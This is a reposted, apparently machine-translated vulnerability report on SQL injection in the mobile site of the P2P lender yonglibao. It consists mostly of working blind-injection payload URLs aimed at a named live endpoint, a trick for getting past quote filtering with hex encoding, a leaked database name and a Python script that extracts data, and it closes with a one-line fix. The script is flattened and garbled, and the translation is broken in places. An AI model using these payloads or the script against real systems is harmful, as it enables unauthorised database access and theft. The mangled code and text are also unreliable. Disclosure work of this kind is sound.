P2p financial security: SQL Injection in a website of yonglibao (with verification script)

Source: Internet
Author: User

P2p financial security: SQL Injection in a website of yonglibao (with verification script)

It is useless to filter single quotes.

 

http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=(select * from (select (sleep(5)))x)





Delayed Injection is supported, but it is customary to add -- or % 23 to the end of the statement when the injection statement is written.



Lie in this pit for a long time, should this keyword be replaced... As a result, it has not been injected for a long time.



Later, we accidentally removed % 23 and found that it could be injected.



In addition, there can only be one parentheses behind the url, and no other and can appear.



After a long period of fuzz, the normal access url is
 

http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=1



The number of students is 21.

Poc is
 

http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=%28select%20*%20from%20%28select%20%28substring%28version%28%29,1,1%29=%275%27%29%29x%29





Cannot be injected

For example
 





I got an x. What is this.



It's okay. This is nothing more than filtering keywords. The first thought is single quotes, because int type can be identified in mysql whether or not single quotes are wrapped.


 

http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=(select * from (select (substring(version(),1,1)=5))x)



I found that the single quotes are filtered out. For the first time, I liked 21...
 





Mysql is a flexible language. Strings can be replaced by hexadecimal notation. 0x.


 

The current database name is new_yonglibao_c.




 




 

 

#-*-Coding: UTF-8-*-import binasciiimport requestspay = list ('1234567890zxcvbnmasdfghjklqwertyuiop. _ @ ') data = ''for x in range (1, 16): for payload in pay: payloads = binascii. b2a_hex (payload) # convert the payload character to a hexadecimal url = 'HTTP: // m.yonglibao.com/Event/V3ReComment/inviteList? UserId = (select * from (select (substring (database (), % d, 1) = 0x % s) x) '% (x, payloads) response = requests. get (url, verify = False, timeout = 30) if '21 people' in response. content: # bool injection, directly matching different pages in the source code, okprint u'database name '+ repr (x) + U' is: '+ payload + ''+ urldata + = payloadprint U' the current database name is:' + data

 

Solution:

The intval function can defend against this SQL Injection perfectly.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.